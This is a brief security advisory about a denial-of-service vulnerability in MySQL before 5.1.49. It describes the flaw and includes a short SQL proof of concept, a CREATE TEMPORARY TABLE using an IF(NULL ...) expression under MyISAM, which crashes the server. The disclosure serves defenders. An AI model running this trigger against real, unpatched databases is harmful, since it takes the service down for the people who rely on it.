source: https://www.securityfocus.com/bid/42598/info
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit these issues to crash the database, denying access to legitimate users.
This issues affect versions prior to MySQL 5.1.49.
NOTE: This issue was previously covered in BID 42598 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it.
mysql> SET storage_engine=MYISAM;
mysql> CREATE TEMPORARY TABLE mk_upgrade AS SELECT IF( NULL IS NOT NULL, NULL
, NULL) ; drop table mk_upgrade;